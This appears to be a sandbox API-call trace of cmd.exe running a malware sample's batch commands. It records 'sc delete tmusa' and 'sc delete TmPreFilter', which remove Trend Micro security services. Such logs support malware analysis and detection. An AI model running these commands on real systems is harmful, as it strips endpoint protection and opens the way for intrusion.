lpDesktop="WinSta0\\Default", lpTitle="sc delete tmusa", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete tmusa", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0x81c, dwThreadId=0x408)) returned 1 [0078.907] CloseHandle (hObject=0x50) returned 1 [0078.907] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0078.907] GetProcessHeap () returned 0x240000 [0078.907] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0078.907] GetEnvironmentStringsW () returned 0x261b10* [0078.907] GetProcessHeap () returned 0x240000 [0078.907] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0078.907] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0078.907] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0078.907] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd5000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0078.907] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0078.972] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0078.973] CloseHandle (hObject=0x54) returned 1 [0078.973] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0078.973] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0078.973] GetProcessHeap () returned 0x240000 [0078.973] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0078.973] GetEnvironmentStringsW () returned 0x261b10* [0078.973] GetProcessHeap () returned 0x240000 [0078.973] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0078.973] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0078.973] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0078.973] GetProcessHeap () returned 0x240000 [0078.973] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0078.973] GetEnvironmentStringsW () returned 0x261b10* [0078.973] GetProcessHeap () returned 0x240000 [0078.973] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0078.973] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0078.973] GetProcessHeap () returned 0x240000 [0078.973] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0078.973] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0078.973] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0078.974] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.974] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0078.974] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.974] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0078.975] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.975] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0078.975] GetConsoleOutputCP () returned 0x1b5 [0078.975] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0078.975] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.975] GetProcessHeap () returned 0x240000 [0078.975] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0078.975] GetProcessHeap () returned 0x240000 [0078.975] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0078.975] GetProcessHeap () returned 0x240000 [0078.975] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0078.975] GetProcessHeap () returned 0x240000 [0078.975] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c5b0 | out: hHeap=0x240000) returned 1 [0078.975] GetProcessHeap () returned 0x240000 [0078.975] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256550 | out: hHeap=0x240000) returned 1 [0078.976] GetProcessHeap () returned 0x240000 [0078.976] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0078.976] GetProcessHeap () returned 0x240000 [0078.976] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0078.976] GetProcessHeap () returned 0x240000 [0078.976] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0078.976] GetProcessHeap () returned 0x240000 [0078.976] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0078.976] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0078.976] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.976] GetFileType (hFile=0x120) returned 0x3 [0078.976] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.976] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0078.976] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0078.976] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0078.976] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0078.976] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0078.976] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0078.976] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.976] GetFileType (hFile=0x120) returned 0x3 [0078.977] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.977] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0078.977] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0078.977] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.977] GetFileType (hFile=0xb8) returned 0x3 [0078.977] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.977] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.977] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.977] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0078.977] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.977] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.977] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.977] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0078.977] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.977] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.977] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.977] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0078.978] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.978] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.978] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.978] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0078.978] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.978] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.978] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.978] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0078.978] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.978] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.978] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.978] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0078.978] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.978] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.978] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.978] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0078.978] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.978] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.978] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.979] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0078.979] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.979] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.979] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.979] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0078.979] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.979] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.979] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.979] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0078.979] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.979] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.979] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.979] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="Tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0078.979] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.979] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.979] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.979] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="musa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0078.979] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.979] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.980] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.980] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="Psa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0078.980] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.980] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.980] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.980] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="ra\nService\n4-9.4\"\n\nA\"\n") returned 1 [0078.980] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.980] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.980] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.980] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="e\nService\n4-9.4\"\n\nA\"\n") returned 1 [0078.980] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.980] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.980] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.980] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="FService\n4-9.4\"\n\nA\"\n") returned 1 [0078.980] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.980] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.980] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.980] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="iervice\n4-9.4\"\n\nA\"\n") returned 1 [0078.980] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.981] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.981] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.981] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="lrvice\n4-9.4\"\n\nA\"\n") returned 1 [0078.981] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.981] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.981] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.981] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="tvice\n4-9.4\"\n\nA\"\n") returned 1 [0078.981] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.981] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.981] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.981] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="eice\n4-9.4\"\n\nA\"\n") returned 1 [0078.981] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.981] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.981] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.981] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="rce\n4-9.4\"\n\nA\"\n") returned 1 [0078.981] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.981] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.981] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.981] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="\ne\n4-9.4\"\n\nA\"\n") returned 1 [0078.982] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.982] GetFileType (hFile=0xb8) returned 0x3 [0078.982] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.982] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.982] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.982] GetFileType (hFile=0x120) returned 0x3 [0078.982] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.982] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete TmPreFilter\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete TmPreFilter\n", lpUsedDefaultChar=0x0) returned 23 [0078.982] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x16, lpOverlapped=0x0) returned 1 [0078.982] GetProcessHeap () returned 0x240000 [0078.982] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x288630 [0078.982] GetProcessHeap () returned 0x240000 [0078.982] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x288630 | out: hHeap=0x240000) returned 1 [0078.982] GetProcessHeap () returned 0x240000 [0078.982] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0078.982] GetProcessHeap () returned 0x240000 [0078.982] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0078.982] GetProcessHeap () returned 0x240000 [0078.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x38) returned 0x256510 [0078.983] GetConsoleOutputCP () returned 0x1b5 [0078.983] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0078.983] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.983] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.983] GetProcessHeap () returned 0x240000 [0078.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0078.983] GetProcessHeap () returned 0x240000 [0078.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3e) returned 0x25aa40 [0078.983] GetProcessHeap () returned 0x240000 [0078.984] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c530 [0078.984] SetErrorMode (uMode=0x0) returned 0x1 [0078.984] SetErrorMode (uMode=0x1) returned 0x0 [0078.984] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c540, lpFilePart=0x1af300 | out: 